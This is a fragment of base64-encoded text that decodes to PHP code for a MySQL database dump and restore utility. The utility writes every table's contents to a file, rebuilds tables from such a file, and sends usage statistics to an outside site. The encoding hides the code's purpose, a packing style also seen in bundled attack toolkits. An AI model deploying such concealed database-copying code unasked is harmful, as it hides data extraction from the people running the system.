3ODc5O3UuIik7DQpteXNxbF9zZWxlY3RfZGIoJGRiKSBvciB0cmlnZ2VyX2Vycm9yICgiVW5hYmxlIHRvIHNlbGVjdCBkYXRhYmFzZS48QlI+IiAuIG15c3FsX2Vycm9yKCksIEVfVVNFUl9FUlJPUik7DQokdGFibGVzID0gYXJyYXkoKTsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMiKTsNCiRhbGwgPSAwOw0Kd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQokc3RhdHVzID0gMDsNCmlmICghZW1wdHkoJHRibHMpKSB7DQpmb3JlYWNoKCR0YmxzIEFTICR0YWJsZSl7DQokZXhjbHVkZSA9IHByZWdfbWF0Y2goIi9eXF4vIiwgJHRhYmxlKSA/IHRydWUgOiBmYWxzZTsNCmlmICghJGV4Y2x1ZGUpIHsNCmlmIChwcmVnX21hdGNoKCIvXnskdGFibGV9JC9pIiwgJHJvd1swXSkpIHsNCiRzdGF0dXMgPSAxOw0KfQ0KJGFsbCA9IDE7DQp9DQppZiAoJGV4Y2x1ZGUgJiYgcHJlZ19tYXRjaCgiL3skdGFibGV9JC9pIiwgJHJvd1swXSkpIHsNCiRzdGF0dXMgPSAtMTsNCn0NCn0NCn0NCmVsc2Ugew0KJHN0YXR1cyA9IDE7DQp9DQppZiAoJHN0YXR1cyA+PSAkYWxsKSB7DQokdGFibGVzW10gPSAkcm93WzBdOw0KfQ0KfQ0KJHRhYnMgPSBjb3VudCgkdGFibGVzKTsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsNCiR0YWJpbmZvID0gYXJyYXkoKTsNCiR0YWJfY2hhcnNldCA9IGFycmF5KCk7DQokdGFiX3R5cGUgPSBhcnJheSgpOw0KJHRhYmluZm9bMF0gPSAwOw0KJGluZm8gPSAnJzsNCndoaWxlKCRpdGVtID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpew0KaWYoaW5fYXJyYXkoJGl0ZW1bJ05hbWUnXSwgJHRhYmxlcykpIHsNCiRpdGVtWydSb3dzJ10gPSBlbXB0eSgkaXRlbVsnUm93cyddKSA/IDAgOiAkaXRlbVsnUm93cyddOw0KJHRhYmluZm9bMF0gKz0gJGl0ZW1bJ1Jvd3MnXTsNCiR0YWJpbmZvWyRpdGVtWydOYW1lJ11dID0gJGl0ZW1bJ1Jvd3MnXTsNCiR0aGlzLT5zaXplICs9ICRpdGVtWydEYXRhX2xlbmd0aCddOw0KJHRhYnNpemVbJGl0ZW1bJ05hbWUnXV0gPSAxICsgcm91bmQoTElNSVQgKiAxMDQ4NTc2IC8gKCRpdGVtWydBdmdfcm93X2xlbmd0aCddICsgMSkpOw0KaWYoJGl0ZW1bJ1Jvd3MnXSkgJGluZm8gLj0gInwiIC4gJGl0ZW1bJ1Jvd3MnXTsNCmlmICghZW1wdHkoJGl0ZW1bJ0NvbGxhdGlvbiddKSAmJiBwcmVnX21hdGNoKCIvXihbYS16MC05XSspXy9pIiwgJGl0ZW1bJ0NvbGxhdGlvbiddLCAkbSkpIHsNCiR0YWJfY2hhcnNldFskaXRlbVsnTmFtZSddXSA9ICRtWzFdOw0KfQ0KJHRhYl90eXBlWyRpdGVtWydOYW1lJ11dID0gaXNzZXQoJGl0ZW1bJ0VuZ2luZSddKSA/ICRpdGVtWydFbmdpbmUnXSA6ICRpdGVtWydUeXBlJ107DQp9DQp9DQokc2hvdyA9IDEwICsgJHRhYmluZm9bMF0gLyA1MDsNCiRpbmZvID0gJHRhYmluZm9bMF0gLiAkaW5mbzsNCiRuYW1lID0gJGRiIC4gJ18nIC4gZGF0ZSgiWS1tLWRfSC1pIik7DQokZnAgPSAkdGhpcy0+Zm5fb3BlbigkbmFtZSwgInciKTsNCmVjaG8gdHBsX2woIkImIzc4NTU7dCAmIzI3MzsmIzc4NDc7dSB0JiM3ODQxO28gdCZlY2lyYztuIGMmIzQxNzsgcyYjNzkwMzsgZCYjNzkxOTsgbGkmIzc4Nzk7dSA6PEJSPlxcbiAgLSAgeyR0aGlzLT5maWxlbmFtZX0iKTsNCiR0aGlzLT5mbl93cml0ZSgkZnAsICIjU0tEMTAxfHskZGJ9fHskdGFic318IiAuIGRhdGUoIlkubS5kIEg6aTpzIikgLiJ8eyRpbmZvfVxuXG4iKTsNCiR0PTA7DQplY2hvIHRwbF9sKHN0cl9yZXBlYXQoIi0iLCA2MCkpOw0KJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRVQgU1FMX1FVT1RFX1NIT1dfQ1JFQVRFID0gMSIpOw0KaWYgKCR0aGlzLT5teXNxbF92ZXJzaW9uID4gNDAxMDEgJiYgQ0hBUlNFVCAhPSAnYXV0bycpIHsNCm15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgJyIgLiBDSEFSU0VUIC4gIiciKSBvciB0cmlnZ2VyX2Vycm9yICgiQ2Fubm90IHNldCB0aGUgZW5jb2RpbmcgZm9yIHRoZSBjb25uZWN0aW9uLjxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsNCiRsYXN0X2NoYXJzZXQgPSBDSEFSU0VUOw0KfQ0KZWxzZXsNCiRsYXN0X2NoYXJzZXQgPSAnJzsNCn0NCmZvcmVhY2ggKCR0YWJsZXMgQVMgJHRhYmxlKXsNCmlmICgkdGhpcy0+bXlzcWxfdmVyc2lvbiA+IDQwMTAxICYmICR0YWJfY2hhcnNldFskdGFibGVdICE9ICRsYXN0X2NoYXJzZXQpIHsNCmlmIChDSEFSU0VUID09ICdhdXRvJykgew0KbXlzcWxfcXVlcnkoIlNFVCBOQU1FUyAnIiAuICR0YWJfY2hhcnNldFskdGFibGVdIC4gIiciKSBvciB0cmlnZ2VyX2Vycm9yICgiQ2Fubm90IHNldCB0aGUgZW5jb2RpbmcgZm9yIHRoZSBjb25uZWN0aW9uLjxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsNCmVjaG8gdHBsX2woIlVzaW5nIGVuY29kaW5nIGAiIC4gJHRhYl9jaGFyc2V0WyR0YWJsZV0gLiAiYC4iLCBDX1dBUk5JTkcpOw0KJGxhc3RfY2hhcnNldCA9ICR0YWJfY2hhcnNldFskdGFibGVdOw0KfQ0KZWxzZXsNCmVjaG8gdHBsX2woJ0VuY29kaW5nIGNvbm5lY3Rpb25zLCBhbmQgdGhlIHRhYmxlIGRvZXMgbm90IG1hdGNoOicsIENfRVJST1IpOw0KZWNobyB0cGxfbCgnVGFibGUgIGAnLiAkdGFibGUgLidgIC0+ICcgLiAkdGFiX2NoYXJzZXRbJHRhYmxlXSAuICcgKENvbm5lY3Rpb24gICcgIC4gQ0hBUlNFVCAuICcpJywgQ19FUlJPUik7DQp9DQp9DQplY2hvIHRwbF9sKCJQcm9jZXNzaW5nIFRhYmxlYHskdGFibGV9YCBbIiAuIGZuX2ludCgkdGFiaW5mb1skdGFibGVdKSAuICJdLiIpOw0KJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSBgeyR0YWJsZX1gIik7DQokdGFiID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQokdGFiID0gcHJlZ19yZXBsYWNlKCcvKGRlZmF1bHQgQ1VSUkVOVF9USU1FU1RBTVAgb24gdXBkYXRlIENVUlJFTlRfVElNRVNUQU1QfERFRkFVTFQgQ0hBUlNFVD1cdyt8Q09MTEFURT1cdyt8Y2hhcmFjdGVyIHNldCBcdyt8Y29sbGF0ZSBcdyspL2knLCAnLyohNDAxMDEgXFwxICovJywgJHRhYik7DQokdGhpcy0+Zm5fd3JpdGUoJGZwLCAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYHskdGFibGV9YDtcbnskdGFiWzFdfTtcblxuIik7DQppZiAoaW5fYXJyYXkoJHRhYl90eXBlWyR0YWJsZV0sICR0aGlzLT5vbmx5X2NyZWF0ZSkpIHsNCmNvbnRpbnVlOw0KfQ0KJE51bWVyaWNDb2x1bW4gPSBhcnJheSgpOw0KJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIENPTFVNTlMgRlJPTSBgeyR0YWJsZX1gIik7DQokZmllbGQgPSAwOw0Kd2hpbGUoJGNvbCA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgew0KJE51bWVyaWNDb2x1bW5bJGZpZWxkKytdID0gcHJlZ19tYXRjaCgiL14oXHcqaW50fHllYXIpLyIsICRjb2xbMV0pID8gMSA6IDA7DQp9DQokZmllbGRzID0gJGZpZWxkOw0KJGZyb20gPSAwOw0KJGxpbWl0ID0gJHRhYnNpemVbJHRhYmxlXTsNCiRsaW1pdDIgPSByb3VuZCgkbGltaXQgLyAzKTsNCmlmICgkdGFiaW5mb1skdGFibGVdID4gMCkgew0KaWYgKCR0YWJpbmZvWyR0YWJsZV0gPiAkbGltaXQyKSB7DQplY2hvIHRwbF9zKDAsICR0IC8gJHRhYmluZm9bMF0pOw0KfQ0KJGkgPSAwOw0KJHRoaXMtPmZuX3dyaXRlKCRmcCwgIklOU0VSVCBJTlRPIGB7JHRhYmxlfWAgVkFMVUVTIik7DQp3aGlsZSgoJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIGB7JHRhYmxlfWAgTElNSVQgeyRmcm9tfSwgeyRsaW1pdH0iKSkgJiYgKCR0b3RhbCA9IG15c3FsX251bV9yb3dzKCRyZXN1bHQpKSl7DQp3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7DQokaSsrOw0KJHQrKzsNCmZvcigkayA9IDA7ICRrIDwgJGZpZWxkczsgJGsrKyl7DQppZiAoJE51bWVyaWNDb2x1bW5bJGtdKQ0KJHJvd1ska10gPSBpc3NldCgkcm93WyRrXSkgPyAkcm93WyRrXSA6ICJOVUxMIjsNCmVsc2UNCiRyb3dbJGtdID0gaXNzZXQoJHJvd1ska10pID8gIiciIC4gbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCRyb3dbJGtdKSAuICInIiA6ICJOVUxMIjsNCn0NCiR0aGlzLT5mbl93cml0ZSgkZnAsICgkaSA9PSAxID8gIiIgOiAiLCIpIC4gIlxuKCIgLiBpbXBsb2RlKCIsICIsICRyb3cpIC4gIikiKTsNCmlmICgkaSAlICRsaW1pdDIgPT0gMCkNCmVjaG8gdHBsX3MoJGkgLyAkdGFiaW5mb1skdGFibGVdLCAkdCAvICR0YWJpbmZvWzBdKTsNCn0NCm15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KaWYgKCR0b3RhbCA8ICRsaW1pdCkgew0KYnJlYWs7DQp9DQokZnJvbSArPSAkbGltaXQ7DQp9DQokdGhpcy0+Zm5fd3JpdGUoJGZwLCAiO1xuXG4iKTsNCmVjaG8gdHBsX3MoMSwgJHQgLyAkdGFiaW5mb1swXSk7fQ0KfQ0KJHRoaXMtPnRhYnMgPSAkdGFiczsNCiR0aGlzLT5yZWNvcmRzID0gJHRhYmluZm9bMF07DQokdGhpcy0+Y29tcCA9ICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gKiAxMCArICR0aGlzLT5TRVRbJ2NvbXBfbGV2ZWwnXTsNCmVjaG8gdHBsX3MoMSwgMSk7DQplY2hvIHRwbF9sKHN0cl9yZXBlYXQoIi0iLCA2MCkpOw0KJHRoaXMtPmZuX2Nsb3NlKCRmcCk7DQplY2hvIHRwbF9sKCI8Yj5RdSZhYWN1dGU7IHRyJmlncmF2ZTtuaCB4JiM3OTE3OyBsJnlhY3V0ZTsgYyYjNDE3OyBzJiM3OTAzOyBkJiM3OTE5OyBsaSYjNzg3OTt1IGB7JGRifWAgJiMyNzM7JmF0aWxkZTsgdGgmYWdyYXZlO25oIGMmb2NpcmM7bmcuPC9iPiIsIENfUkVTVUxUKTsNCmVjaG8gdHBsX2woIlNpemUgb2YgREIgOiAiIC4gcm91bmQoJHRoaXMtPnNpemUgLyAxMDQ4NTc2LCAyKSAuICIuIiwgQ19SRVNVTFQpOw0KJGZpbGVzaXplID0gcm91bmQoZmlsZXNpemUoUEFUSCAuICR0aGlzLT5maWxlbmFtZSkgLyAxMDQ4NTc2LCAyKSAuICIuIjsNCmVjaG8gdHBsX2woIlNpemUgb2YgZmlsZSA6IHskZmlsZXNpemV9IiwgQ19SRVNVTFQpOw0KZWNobyB0cGxfbCgiVGFibGVzIHByb2Nlc3NlZCA6IHskdGFic30iLCBDX1JFU1VMVCk7DQplY2hvIHRwbF9sKCJMaW5lcyBwcm9jZXNzZWQgOiAgICIgLiBmbl9pbnQoJHRhYmluZm9bMF0pLCBDX1JFU1VMVCk7DQplY2hvICI8U0NSSVBUPndpdGggKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzYXZlJykpIHtzdHlsZS5kaXNwbGF5ID0gJyc7IGlubmVySFRNTCA9ICc8Zm9udCBjb2xvcj1yZWQ+VCYjNzg0MztpIGMmIzQxNzsgcyYjNzkwMzsgZCYjNzkxOTsgbGkmIzc4Nzk7dSB2JiM3ODczOyBtJmFhY3V0ZTt5PC9mb250PiAoeyRmaWxlc2l6ZX0pJzsgaHJlZiA9ICciIC4gVVJMIC4gJHRoaXMtPmZpbGVuYW1lIC4gIic7IH1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmFjaycpLmRpc2FibGVkID0gMDs8L1NDUklQVD4iOw0KaWYgKEdTKSBlY2hvICI8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdHUycpLnNyYyA9ICdodHRwOi8vc3lwZXgubmV0L2dzLnBocD9iPXskdGhpcy0+dGFic30seyR0aGlzLT5yZWNvcmRzfSx7JHRoaXMtPnNpemV9LHskdGhpcy0+Y29tcH0sMTA4Jzs8L1NDUklQVD4iOw0KfQ0KZnVuY3Rpb24gcmVzdG9yZSgpew0KaWYgKCFpc3NldCgkX1BPU1QpKSB7JHRoaXMtPm1haW4oKTt9DQpzZXRfZXJyb3JfaGFuZGxlcigiU1hEX2Vycm9ySGFuZGxlciIpOw0KJGJ1dHRvbnMgPSAiPElOUFVUIElEPWJhY2sgVFlQRT1idXR0b24gVkFMVUU9J0JhY2snIERJU0FCTEVEIG9uQ2xpY2s9XCJoaXN0b3J5LmJhY2soKTtcIj4iOw0KZWNobyB0cGxfcGFnZSh0cGxfcHJvY2VzcygiUmVzdG9yaW5nIGRhdGFiYXNlIGJhY2t1cCIpLCAkYnV0dG9ucyk7DQokdGhpcy0+U0VUWydsYXN0X2FjdGlvbiddICAgICA9IDE7DQokdGhpcy0+U0VUWydsYXN0X2RiX3Jlc3RvcmUnXSA9IGlzc2V0KCRfUE9TVFsnZGJfcmVzdG9yZSddKSA/ICRfUE9TVFsnZGJfcmVzdG9yZSddIDogJyc7DQokZmlsZQkJCQkJCSAgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6ICcnOw0KJHRoaXMtPmZuX3NhdmUoKTsNCiRkYiA9ICR0aGlzLT5TRVRbJ2xhc3RfZGJfcmVzdG9yZSddOw0KaWYgKCEkZGIpIHsNCmVjaG8gdHBsX2woIkVSUk9SISBObyBkYXRhYmFzZSEiLCBDX0VSUk9SKTsNCmVjaG8gdHBsX2VuYWJsZUJhY2soKTsNCmV4aXQ7DQp9DQplY2hvIHRwbF9sKCImIzI3MjthbmcgayYjNzg3MTt0IG4mIzc4ODk7aSBjJiM0MTc7IHMmIzc5MDM7IGQmIzc5MTk7IGxpJiM3ODc5O3UgYHskZGJ9YC4iKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIHRyaWdnZXJfZXJyb3IgKCJVbmFibGUgdG8gc2VsZWN0IGRhdGFiYXNlLiAuPEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOw0KaWYocHJlZ19tYXRjaCgiL14oLis/KVwuc3FsKFwuKGJ6MnxneikpPyQvIiwgJGZpbGUsICRtYXRjaGVzKSkgew0KaWYgKGlzc2V0KCRtYXRjaGVzWzNdKSAmJiAkbWF0Y2hlc1szXSA9PSAnYnoyJykgew0KJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9IDI7DQp9DQplbHNlaWYgKGlzc2V0KCRtYXRjaGVzWzJdKSAmJiRtYXRjaGVzWzNdID09ICdneicpew0KJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9IDE7DQp9DQplbHNlew0KJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9IDA7DQp9DQokdGhpcy0+U0VUWydjb21wX2xldmVsJ10gPSAnJzsNCmlmICghZmlsZV9leGlzdHMoUEFUSCAuICIveyRmaWxlfSIpKSB7DQplY2hvIHRwbF9sKCJFUlJPUiEgRmlsZSBOb3QgRm91bmQhICEiLCBDX0VSUk9SKTsNCmVjaG8gdHBsX2VuYWJsZUJhY2soKTsNCmV4aXQ7DQp9DQplY2hvIHRwbF9sKCJSZWFkaW5nIEZpbGVgeyRmaWxlfWAuIik7DQokZmlsZSA9ICRtYXRjaGVzWzFdOw0KfQ0KZWxzZXsNCmVjaG8gdHBsX2woIkVSUk9SISBObyBmaWxlIHNlbGVjdGVkKCIsIENfRVJST1IpOw0KZWNobyB0cGxfZW5hYmxlQmFjaygpOw0KZXhpdDsNCn0NCmVjaG8gdHBsX2woc3RyX3JlcGVhdCgiLSIsIDYwKSk7DQokZnAgPSAkdGhpcy0+Zm5fb3BlbigkZmlsZSwgInIiKTsNCiR0aGlzLT5maWxlX2NhY2hlID0gJHNxbCA9ICR0YWJsZSA9ICRpbnNlcnQgPSAnJzsNCiRpc19za2QgPSAkcXVlcnlfbGVuID0gJGV4ZWN1dGUgPSAkcSA9JHQgPSAkaSA9ICRhZmZfcm93cyA9IDA7DQokbGltaXQgPSAzMDA7DQokaW5kZXggPSA0Ow0KJHRhYnMgPSAwOw0KJGNhY2hlID0gJyc7DQokaW5mbyA9IGFycmF5KCk7DQppZiAoJHRoaXMtPm15c3FsX3ZlcnNpb24gPiA0MDEwMSAmJiAoQ0hBUlNFVCAhPSAnYXV0bycgfHwgJHRoaXMtPmZvcmNlZF9jaGFyc2V0KSkgeyAvLyBFbmNyeXB0aW9uIGJ5IGRlZmF1bHQgaWYgdGhlIGR1bXAgd2FzIG5vdCBlbmNvZGVkDQpteXNxbF9xdWVyeSgiU0VUIE5BTUVTICciIC4gJHRoaXMtPnJlc3RvcmVfY2hhcnNldCAuICInIikgb3IgdHJpZ2dlcl9lcnJvciAoIkNhbm5vdCBzZXQgdGhlIGVuY29kaW5nIGZvciB0aGUgY29ubmVjdGlvbi48QlI+IiAuIG15c3FsX2Vycm9yKCksIEVfVVNFUl9FUlJPUik7DQplY2hvIHRwbF9sKCJVc2luZyBlbmNvZGluZyBgIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAiYC4iLCBDX1dBUk5JTkcpOw0KJGxhc3RfY2hhcnNldCA9ICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQ7DQp9DQplbHNlIHsNCiRsYXN0X2NoYXJzZXQgPSAnJzsNCn0NCiRsYXN0X3Nob3dlZCA9ICcnOw0Kd2hpbGUoKCRzdHIgPSAkdGhpcy0+Zm5fcmVhZF9zdHIoJGZwKSkgIT09IGZhbHNlKXsNCmlmIChlbXB0eSgkc3RyKSB8fCBwcmVnX21hdGNoKCIvXigjfC0tKS8iLCAkc3RyKSkgew0KaWYgKCEkaXNfc2tkICYmIHByZWdfbWF0Y2goIi9eI1NLRDEwMVx8LyIsICRzdHIpKSB7DQokaW5mbyA9IGV4cGxvZGUoInwiLCAkc3RyKTsNCmVjaG8gdHBsX3MoMCwgJHQgLyAkaW5mb1s0XSk7DQokaXNfc2tkID0gMTsNCn0NCmNvbnRpbnVlOw0KfQ0KJHF1ZXJ5X2xlbiArPSBzdHJsZW4oJHN0cik7DQoNCmlmICghJGluc2VydCAmJiBwcmVnX21hdGNoKCIvXihJTlNFUlQgSU5UTyBgPyhbXmAgXSspYD8gLio/VkFMVUVTKSguKikkL2kiLCAkc3RyLCAkbSkpIHsNCmlmICgkdGFibGUgIT0gJG1bMl0pIHsNCiR0YWJsZSA9ICRtWzJdOw0KJHRhYnMrKzsNCiRjYWNoZSAuPSB0cGxfbCgiVGFibGUgYHskdGFibGV9YC4iKTsNCiRsYXN0X3Nob3dlZCA9ICR0YWJsZTsNCiRpID0gMDsNCmlmICgkaXNfc2tkKQ0KZWNobyB0cGxfcygxMDAgLCAkdCAvICRpbmZvWzRdKTsNCn0NCiRpbnNlcnQgPSAkbVsxXSAuICcgJzsNCiRzcWwgLj0gJG1bM107DQokaW5kZXgrKzsNCiRpbmZvWyRpbmRleF0gPSBpc3NldCgkaW5mb1skaW5kZXhdKSA/ICRpbmZvWyRpbmRleF0gOiAwOw0KJGxpbWl0ID0gcm91bmQoJGluZm9bJGluZGV4XSAvIDIwKTsNCiRsaW1pdCA9ICRsaW1pdCA8IDMwMCA/IDMwMCA6ICRsaW1pdDsNCmlmICgkaW5mb1skaW5kZXhdID4gJGxpbWl0KXsNCmVjaG8gJGNhY2hlOw0KJGNhY2hlID0gJyc7DQplY2hvIHRwbF9zKDAgLyAkaW5mb1skaW5kZXhdLCAkdCAvICRpbmZvWzRdKTsNCn0NCn0NCmVsc2V7DQokc3FsIC49ICRzdHI7DQppZiAoJGluc2VydCkgew0KJGkrKzsNCiR0Kys7DQppZiAoJGlzX3NrZCAmJiAkaW5mb1skaW5kZXhdID4gJGxpbWl0ICYmICR0ICUgJGxpbWl0ID09IDApew0KZWNobyB0cGxfcygkaSAvICRpbmZvWyRpbmRleF0sICR0IC8gJGluZm9bNF0pOw0KfQ0KfQ0KfQ0KaWYgKCEkaW5zZXJ0ICYmIHByZWdfbWF0Y2goIi9eQ1JFQVRFIFRBQkxFIChJRiBOT1QgRVhJU1RTICk/YD8oW15gIF0rKWA/L2kiLCAkc3RyLCAkbSkgJiYgJHRhYmxlICE9ICRtWzJdKXsNCiR0YWJsZSA9ICRtWzJdOw0KJGluc2VydCA9ICcnOw0KJHRhYnMrKzsNCiRpc19jcmVhdGUgPSB0cnVlOw0KJGkgPSAwOw0KfQ0KaWYgKCRzcWwpIHsNCmlmIChwcmVnX21hdGNoKCIvOyQvIiwgJHN0cikpIHsNCiRzcWwgPSBydHJpbSgkaW5zZXJ0IC4gJHNxbCwgIjsiKTsNCmlmIChlbXB0eSgkaW5zZXJ0KSkgew0KaWYgKCR0aGlzLT5teXNxbF92ZXJzaW9uIDwgNDAxMDEpIHsNCiRzcWwgPSBwcmVnX3JlcGxhY2UoIi9FTkdJTkVccz89LyIsICJUWVBFPSIsICRzcWwpOw0KfQ0KZWxzZWlmIChwcmVnX21hdGNoKCIvQ1JFQVRFIFRBQkxFL2kiLCAkc3FsKSl7DQppZiAocHJlZ19tYXRjaCgiLyhDSEFSQUNURVIgU0VUfENIQVJTRVQpWz1cc10rKFx3KykvaSIsICRzcWwsICRjaGFyc2V0KSkgew0KaWYgKCEkdGhpcy0+Zm9yY2VkX2NoYXJzZXQgJiYgJGNoYXJzZXRbMl0gIT0gJGxhc3RfY2hhcnNldCkgew0KaWYgKENIQVJTRVQgPT0gJ2F1dG8nKSB7DQpteXNxbF9xdWVyeSgiU0VUIE5BTUVTICciIC4gJGNoYXJzZXRbMl0gLiAiJyIpIG9yIHRyaWdnZXJfZXJyb3IgKCJDYW5ub3Qgc2V0IHRoZSBlbmNvZGluZyBmb3IgdGhlIGNvbm5lY3Rpb24uPEJSPnskc3FsfTxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsNCiRjYWNoZSAuPSB0cGxfbCgiVXNpbmcgZW5jb2RpbmcgYCIgLiAkY2hhcnNldFsyXSAuICJgLiIsIENfV0FSTklORyk7DQokbGFzdF9jaGFyc2V0ID0gJGNoYXJzZXRbMl07DQp9DQplbHNlew0KJGNhY2hlIC49IHRwbF9sKCdFbmNvZGluZyBjb25uZWN0aW9ucywgYW5kIHRoZSB0YWJsZSBkb2VzIG5vdCBtYXRjaCA6JywgQ19FUlJPUik7DQokY2FjaGUgLj0gdHBsX2woJ1RhYmxlIGAnLiAkdGFibGUgLidgIC0+ICcgLiAkY2hhcnNldFsyXSAuICcgKENvbm5lY3Rpb24gJyAgLiAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0IC4gJyknLCBDX0VSUk9SKTsNCn0NCn0NCmlmICgkdGhpcy0+Zm9yY2VkX2NoYXJzZXQpIHsNCiRzcWwgPSBwcmVnX3JlcGxhY2UoIi8oXC9cKiFcZCtccyk/KChDT0xMQVRFKVs9XHNdKylcdysoXHMrXCpcLyk/L2kiLCAnJywgJHNxbCk7DQokc3FsID0gcHJlZ19yZXBsYWNlKCIvKChDSEFSQUNURVIgU0VUfENIQVJTRVQpWz1cc10rKVx3Ky9pIiwgIlxcMSIgLiAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0IC4gJHRoaXMtPnJlc3RvcmVfY29sbGF0ZSwgJHNxbCk7DQp9DQp9DQplbHNlaWYoQ0hBUlNFVCA9PSAnYXV0bycpeyAvLyBSdW4gZW5jb2RpbmcgdGFibGUgaWYgaXQgaXMgbm90IHNwZWNpZmllZCBhbmQgaW5zdGFsbGVkIGF1dG8gZW5jb2RpbmcNCiRzcWwgLj0gJyBERUZBVUxUIENIQVJTRVQ9JyAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAkdGhpcy0+cmVzdG9yZV9jb2xsYXRlOw0KaWYgKCR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgIT0gJGxhc3RfY2hhcnNldCkgew0KbXlzcWxfcXVlcnkoIlNFVCBOQU1FUyAnIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAiJyIpIG9yIHRyaWdnZXJfZXJyb3IgKCJDYW5ub3Qgc2V0IHRoZSBlbmNvZGluZyBmb3IgdGhlIGNvbm5lY3Rpb24uPEJSPnskc3FsfTxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsNCiRjYWNoZSAuPSB0cGxfbCgiVXNpbmcgZW5jb2RpbmcgYCIgLiAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0IC4gImAuIiwgQ19XQVJOSU5HKTsNCiRsYXN0X2NoYXJzZXQgPSAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0Ow0KfQ0KfQ0KfQ0KaWYgKCRsYXN0X3Nob3dlZCAhPSAkdGFibGUpIHskY2FjaGUgLj0gdHBsX2woIlRhYmxlIGB7JHRhYmxlfWAuIik7ICRsYXN0X3Nob3dlZCA9ICR0YWJsZTt9DQp9DQplbHNlaWYoJHRoaXMtPm15c3FsX3ZlcnNpb24gPiA0MDEwMSAmJiBlbXB0eSgkbGFzdF9jaGFyc2V0KSkgeyAvLyBJbnN0YWxsIGVuY29kaW5nIGZvciB0aGUgYWJzZW5jZSBDUkVBVEUgVEFCTEUNCm15c3FsX3F1ZXJ5KCJTRVQgJHRoaXMtPnJlc3RvcmVfY2hhcnNldCAnIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAiJyIpIG9yIHRyaWdnZXJfZXJyb3IgKCJDYW5ub3Qgc2V0IHRoZSBlbmNvZGluZyBmb3IgdGhlIGNvbm5lY3Rpb24uPEJSPnskc3FsfTxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsNCmVjaG8gdHBsX2woIlVzaW5nIGVuY29kaW5nIGAiIC4gJHRoaXMtPnJlc3RvcmVfY2hhcnNldCAuICJgLiIsIENfV0FSTklORyk7DQokbGFzdF9jaGFyc2V0ID0gJHRoaXMtPnJlc3RvcmVfY2hhcnNldDsNCn0NCiRpbnNlcnQgPSAnJzsNCiRleGVjdXRlID0gMTsNCn0NCmlmICgkcXVlcnlfbGVuID49IDY1NTM2ICYmIHByZWdfbWF0Y2goIi8sJC8iLCAkc3RyKSkgew0KJHNxbCA9IHJ0cmltKCRpbnNlcnQgLiAkc3FsLCAiLCIpOw0KJGV4ZWN1dGUgPSAxOw0KfQ0KaWYgKCRleGVjdXRlKSB7DQokcSsrOw0KbXlzcWxfcXVlcnkoJHNxbCkgb3IgdHJpZ2dlcl9lcnJvciAoIkJhZCByZXF1ZXN0LjxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsNCmlmIChwcmVnX21hdGNoKCIvXmluc2VydC9pIiwgJHNxbCkpIHsNCiRhZmZfcm93cyArPSBteXNxbF9hZmZlY3RlZF9yb3dzKCk7DQp9DQokc3FsID0gJyc7DQokcXVlcnlfbGVuID0gMDsNCiRleGVjdXRlID0gMDsNCn0NCn0NCn0NCmVjaG8gJGNhY2hlOw0KZWNobyB0cGxfcygxICwgMSk7DQplY2hvIHRwbF9sKHN0cl9yZXBlYXQoIi0iLCA2MCkpOw0KZWNobyB0cGxfbCgiREIgcmVzdG9yZWQgZnJvbSBhIGJhY2t1cC4iLCBDX1JFU1VMVCk7DQppZiAoaXNzZXQoJGluZm9bM10pKSBlY2hvIHRwbF9sKCJFc3RhYmxpc2hlZCBjb3BpZXM6IHskaW5mb1szXX0iLCBDX1JFU1VMVCk7DQplY2hvIHRwbF9sKCJRdWVyaWVzIHRvIERCOiB7JHF9IiwgQ19SRVNVTFQpOw0KZWNobyB0cGxfbCgiVGFibGVzIHNldCB1cDogeyR0YWJzfSIsIENfUkVTVUxUKTsNCmVjaG8